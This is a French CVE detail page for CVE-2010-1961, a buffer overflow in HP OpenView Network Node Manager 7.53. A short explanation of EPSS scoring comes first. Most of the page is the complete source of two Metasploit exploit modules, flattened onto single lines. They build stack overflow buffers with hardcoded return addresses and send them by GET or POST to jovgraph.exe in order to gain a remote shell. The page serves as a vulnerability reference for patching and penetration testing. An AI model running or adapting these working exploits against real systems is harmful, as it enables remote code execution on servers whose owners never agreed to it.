CVE-2010-1961 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # $Id: hp_nnm_ovwebsnmpsrv_main.rb 12097 2011-03-23 15:45:48Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/jovgraph.exe', :pattern => /Hewlett-Packard Development Company/ } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'HP OpenView Network Node Manager ovwebsnmpsrv.exe main Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53 prior to NNM_01203. By specifying a long 'arg' parameter when executing the 'jovgraph.exe' CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary code. This vulnerability is triggerable via either a GET or POST request. The buffer being written to is 1024 bytes in size. It is important to note that this vulnerability must be exploited by overwriting SEH. Otherwise, CVE-2010-1961 is triggered! The vulnerable code is within the "main" function within "ovwebsnmpsrv.exe" with a timestamp prior to April 7th, 2010. There are no stack cookies, so exploitation is easily achieved by overwriting SEH structures. There exists some unreliability when running this exploit. It is not completely clear why at this time, but may be related to OVWDB or session management. Also, on some attempts OV NNM may report invalid characters in the URL. It is not clear what is causing this either. } , 'Author' => [ 'jduck' # Metasploit module ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 12097 $', 'References' => [ [ 'CVE', '2010-1964' ], [ 'OSVDB', '65552' ], [ 'BID', '40873' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-108/' ], [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02217439' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Privileged' => false, 'Payload' => { 'Space' => 1024, # 1024 byte buffer.. # In addition to regular HTTP type bad chars, this one also has # an issue with " since the buffer is being passed on the command line. 'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x22\x24\x2c\x3b\x60", 'DisableNops' => true, }, 'Platform' => 'win', 'Targets' => [ [ 'HP OpenView Network Node Manager 7.53 w/NNM_01201', { 'Ret' => 0x5a02aadf, # pop edx/pop ebp/ret - in ov.dll (v1.30.10.9166) } ], [ 'HP OpenView Network Node Manager 7.53 (Windows 2003)', { 'Ret' => 0x71c069dd, # pop edx/pop ecx/ret - in ws2_32.dll v5.2.3790.3959 } ], [ 'Debug Target', { 'Ret' => 0xdeadbeef, # crasher } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'June 16 2010')) register_options( [ Opt::RPORT(80), ], self.class) end def exploit print_status("Trying target #{target.name}...") cgi = '/OvCgi/jovgraph.exe' # Any command line parameter will cause a buffer overflow. # "action" must be set action = rand_text_alphanumeric(1) # "sel" must be set sel = rand_text_alphanumeric(1) # "timestamp" cannot be set. # SEH seh_offset = 1132 seh_frame = generate_seh_record(target.ret) # Jump back to the payload, after p/p/r jumps to us. distance = seh_offset + seh_frame.length distance -= 1 # skip the first byte (cannot be -/+) jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string # Create the buffer buf = '' # The first character cannot be a - or a + buf << rand_text(1, payload_badchars + "+-") buf << payload.encoded buf << rand_text(seh_offset - buf.length) buf << seh_frame buf << jmp_back # Force an exception writing off the end of the stack buf << rand_text(6500 - buf.length) # Send the request if rand(2) > 0 print_status("Sending exploit via POST request...") res = send_request_cgi({ 'uri' => cgi, 'method' => "POST", 'vars_post' => { 'sel' => sel, 'act' => action, 'arg' => buf } }, 3) else print_status("Sending exploit via GET request...") res = send_request_cgi({ 'uri' => cgi, 'method' => "GET", 'vars_get' => { 'sel' => sel, 'act' => action, 'arg' => buf } }, 3) end if not res raise RuntimeError, "Eek! We didn't get a response.. Exploiting this vuln should return one!" end print_status(res.body) if datastore["NNM_DEBUG"] if res.body =~ /graphing applet is being/ print_status("We got the body we were looking for, the session should be coming any second.") else raise RuntimeError, "Eek, exploit likely failed. The body didn't contain what we expected." end handler end def wfs_delay 5 end end

## # $Id: hp_nnm_ovwebsnmpsrv_ovutil.rb 12096 2011-03-23 15:44:55Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/jovgraph.exe', :pattern => /Hewlett-Packard Development Company/ } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'HP OpenView Network Node Manager ovwebsnmpsrv.exe ovutil Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53 prior to NNM_01203. By specifying a long 'arg' parameter when executing the 'jovgraph.exe' CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary code. This vulnerability is triggerable via either a GET or POST request. It is interesting to note that this vulnerability cannot be exploited by overwriting SEH, since attempting to would trigger CVE-2010-1964. The vulnerable code is within a sub-function called from "main" within "ovwebsnmpsrv.exe" with a timestamp prior to April 7th, 2010. This function contains a 256 byte stack buffer which is passed to the "getProxiedStorageAddress" function within ovutil.dll. When processing the address results in an error, the buffer is overflowed in a call to sprintf_new. There are no stack cookies present, so exploitation is easily achieved by overwriting the saved return address. There exists some unreliability when running this exploit. It is not completely clear why at this time, but may be related to OVWDB or session management. Also, on some attempts OV NNM may report invalid characters in the URL. It is not clear what is causing this either. } , 'Author' => [ 'jduck' # Metasploit module ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 12096 $', 'References' => [ [ 'CVE', '2010-1961' ], [ 'OSVDB', '65428' ], [ 'BID', '40638' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-106/' ], [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02217439' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Privileged' => false, 'Payload' => { 'Space' => 512, # 256 byte buffer.. # In addition to regular HTTP type bad chars, this one also has # an issue with " since the buffer is being passed on the command line. 'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x22\x24\x2c\x3b\x60", 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", 'DisableNops' => true, }, 'Platform' => 'win', 'Targets' => [ [ 'HP OpenView Network Node Manager 7.53 w/NNM_01201', { 'PopPopRet' => 0x5a02aadf, # pop edx/pop ebp/ret - in ov.dll (v1.30.10.9166) 'JmpEsp' => 0x5a219880, # jmp esp - in ovsnmp.dll (v1.30.10.9166) } ], [ 'HP OpenView Network Node Manager 7.53 (Windows 2003)', { 'PopPopRet' => 0x71c069dd, # pop edx/pop ecx/ret - in ws2_32.dll v5.2.3790.3959 'JmpEsp' => 0x5a219880, # jmp esp - in ovsnmp.dll (v1.30.10.9166) } ], [ 'Debug Target', { 'PopPopRet' => 0xdeadbeef, # crasher 'JmpEsp' => 0xbeefcafe } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'June 16 2010')) register_options( [ Opt::RPORT(80), ], self.class) end def exploit print_status("Trying target #{target.name}...") cgi = '/OvCgi/jovgraph.exe' # Any command line parameter will cause a buffer overflow. # "action" must be set action = rand_text_alphanumeric(1) # "sel" must be set sel = rand_text_alphanumeric(1) # "timestamp" cannot be set. start = 'No entry for ' ret_offset = 256 + 4 + 12 + 4 # Create the buffer buf = '' buf << rand_text(ret_offset - start.length) buf << [target['PopPopRet']].pack('V') buf << [0x5a400141].pack('V') # ptr to zero buf << [0x5a459fdc].pack('V') # ptr to writable scratch buf << [target['JmpEsp']].pack('V') #buf << "\xcc" buf << payload.encoded # Ugh, triggers cve-2010-1964 #buf = pattern_create(1456) # Send the request if rand(2) > 0 print_status("Sending exploit via POST request...") res = send_request_cgi({ 'uri' => cgi, 'method' => "POST", 'vars_post' => { 'sel' => sel, 'act' => action, 'arg' => buf } }, 3) else print_status("Sending exploit via GET request...") res = send_request_cgi({ 'uri' => cgi, 'method' => "GET", 'vars_get' => { 'sel' => sel, 'act' => action, 'arg' => buf } }, 3) end if not res raise RuntimeError, "Eek! We didn't get a response.. Exploiting this vuln should return one!" end print_status(res.body) if datastore["NNM_DEBUG"] if res.body =~ /graphing applet is being/ print_status("We got the body we were looking for, the session should be coming any second.") else raise RuntimeError, "Eek, exploit likely failed. The body didn't contain what we expected." end handler end def wfs_delay 5 end end